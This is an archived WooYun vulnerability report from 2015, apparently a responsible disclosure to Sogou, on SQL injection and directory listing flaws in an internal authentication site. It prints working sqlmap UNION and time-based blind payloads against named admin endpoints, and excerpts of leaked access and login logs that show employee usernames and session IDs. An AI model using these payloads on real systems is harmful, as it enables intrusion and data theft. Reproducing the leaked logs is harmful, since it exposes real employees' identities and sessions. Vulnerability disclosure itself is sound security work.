当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0100398

漏洞标题:搜狗某重要站点漏洞打包(内部人员名单一览无余)

相关厂商:搜狗

漏洞作者: 路人甲

提交时间:2015-03-09 21:40

修复时间:2015-04-23 21:42

公开时间:2015-04-23 21:42

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-09: 细节已通知厂商并且等待厂商处理中
2015-03-10: 厂商已经确认,细节仅向厂商公开
2015-03-20: 细节向核心白帽子及相关领域专家公开
2015-03-30: 细节向普通白帽子公开
2015-04-09: 细节向实习白帽子公开
2015-04-23: 细节向公众公开

简要描述:

好累。

详细说明:

1.注入三处。
/admin/authSite.php-->site_name参数
/admin/search.php-->Mail参数,Site参数
http://authcenter.add.sogou-inc.com/admin/authSite.php
POST:
button=&display_name=AD_Alert&site_name=*
http://authcenter.add.sogou-inc.com/admin/search.php
POST:
button=&Mail=*&Site=http://www.wooyun.org

[*] starting at 21:15:31
[21:15:31] [WARNING] provided value for parameter 'button' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:15:31] [INFO] resuming back-end DBMS 'mysql'
[21:15:31] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://authcenter.add.sogou-inc.com/login.php'. Don
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: Site (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: button=&[email protected]&Site=http://www.wooyun.org' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b627171,0x6a77517845474d494645,0x7162767071),NULL,NULL,NULL,NULL--
Parameter: Mail (POST)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: button=&[email protected]' AND (SELECT * FROM (SELECT(SLEEP(5)))puik) AND 'InNy'='InNy&Site=http://www.wooyun.org
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: button=&[email protected]' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b627171,0x744f6166664a6849626f,0x7162767071),NULL,NULL,NULL,NULL-- &Site=http://www.wooyun.org
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: Site, type: Single quoted string (default)
[1] place: POST, parameter: Mail, type: Single quoted string
[q] Quit
> 0
[21:15:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.1.6
back-end DBMS: MySQL 5.0.11
[21:15:37] [INFO] testing if current user is DBA
[21:15:37] [INFO] fetching current user
current user is DBA: True


database management system users [7]:
[*] 'adtotest'@'%'
[*] 'adts'@'%'
[*] 'adts'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'djt_5_193'
[*] 'root'@'localhost'
[*] 'wangjie'@'%'


3.png


2.列目录(列举了一部分)

1.png


http://authcenter.add.sogou-inc.com/logs/authcenter.add.sogu-inc.com-access_log (56M)
内部人员登陆信息

10.14.8.10 - - [09/Mar/2015:16:16:10 +0800] "GET /AuthCenterChecker.php?sessid=b6rr25givc7m13us6f85va09m4&usr=chenyongbin&domain=no.add.sogou-inc.com HTTP/1.1" 200 11
10.14.13.1 - - [09/Mar/2015:16:16:43 +0800] "GET /AuthCenterChecker.php?sessid=b6rr25givc7m13us6f85va09m4&usr=chenyongbin&domain=no.add.sogou-inc.com HTTP/1.1" 200 11
10.14.8.10 - - [09/Mar/2015:16:17:12 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:17:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.14.18.5 - - [09/Mar/2015:16:19:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:19:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.14.8.10 - - [09/Mar/2015:16:21:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:21:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.14.8.10 - - [09/Mar/2015:16:23:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:23:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.13.208.192 - - [09/Mar/2015:16:23:31 +0800] "GET /favicon.ico HTTP/1.1" 404 303
10.14.8.10 - - [09/Mar/2015:16:25:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:25:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.14.13.1 - - [09/Mar/2015:16:27:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:27:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.13.208.190 - - [09/Mar/2015:16:27:50 +0800] "GET /login.php?goto=http://adcpc.sogou-inc.com/ZFExtjs/public/index.php HTTP/1.1" 200 2045
10.13.208.190 - - [09/Mar/2015:16:27:52 +0800] "POST /login.php HTTP/1.1" 302 51
10.13.196.163 - - [09/Mar/2015:16:27:52 +0800] "GET /AuthCenterChecker.php?sessid=65v8q8oa170lejlmm1p952k9e1&usr=xingyun&domain=adcpc.sogou-inc.com HTTP/1.1" 200 7
10.13.208.190 - - [09/Mar/2015:16:27:52 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.14.8.10 - - [09/Mar/2015:16:29:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9
10.13.208.190 - - [09/Mar/2015:16:29:13 +0800] "GET /style/PIE.js HTTP/1.1" 304 -
10.13.196.163 - - [09/Mar/2015:16:29:32 +0800] "GET /AuthCenterChecker.php?sessid=mla5levo9hm7n1t2piedvvpdi7&usr=yangjunzhe&domain=bizlog.sogou-inc.com HTTP/1.1" 200 1
10.13.196.163 - - [09/Mar/2015:16:29:32 +0800] "GET /forbid.php?loginres=5&domain=bizlog.sogou-inc.com HTTP/1.1" 200 170
10.14.8.10 - - [09/Mar/2015:16:30:35 +0800] "GET /AuthCenterChecker.php?sessid=ombjmulti1eamiga2ct3rre1t4&usr=yangyulian&domain=stat.adr.sogou-inc.com HTTP/1.1" 200 10
10.14.9.2 - - [09/Mar/2015:16:31:13 +0800] "GET /AuthCenterChecker.php?sessid=5joofnfdd0l19hlqf2iqto7107&usr=Songwanbo&domain=flow.add.sogou-inc.com HTTP/1.1" 200 9


http://authcenter.add.sogou-inc.com/log/ 登陆日志
http://authcenter.add.sogou-inc.com/log/LoginLog_20150309.log 截至到20150309

20150309 18:32:25 chensisi1798	adqa.sogou-inc.com	http://adqa.sogou-inc.com/qs/index.php/login 
20150309 18:39:08 [email protected] bizlog.sogou-inc.com http://bizlog.sogou-inc.com/Bizlog/public/index.php
20150309 18:49:12 jishanshan adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 18:49:19 jishanshan adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 18:59:10 chenaxia adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 19:00:42 zhaoshengyu adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 19:01:55 bihua adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:03:15 [email protected] adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:03:27 [email protected] adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:03:31 [email protected] adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:03:37 zhaoxiangfeng adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:25:51 yaoxuanyu adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:25:54 yaoxuanyu adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:31:02 chaoyang206136 adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:33:06 yangdaiqing adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 19:39:59 haopanpan adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 19:47:19 chenjiajie no.add.sogou-inc.com http://no.add.sogou-inc.com/index.php
20150309 19:55:31 wangzhenglei adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 19:59:54 Hugen adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 20:05:00 songqianqian adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 20:06:48 duzhangliang adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 20:37:55 zhangchaosi1721 adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login
20150309 20:40:09 gaojun adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 21:00:02 lihuabei adqa.sogou-inc.com http://adqa.sogou-inc.com/mediawiki/
20150309 21:24:37 wangxintang adqa.sogou-inc.com http://adqa.sogou-inc.com/qs/index.php/login


3.内部人员名单

2.png


漏洞证明:

详细说明

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-10 11:08

厂商回复:

修复中,感谢支持

最新状态:

暂无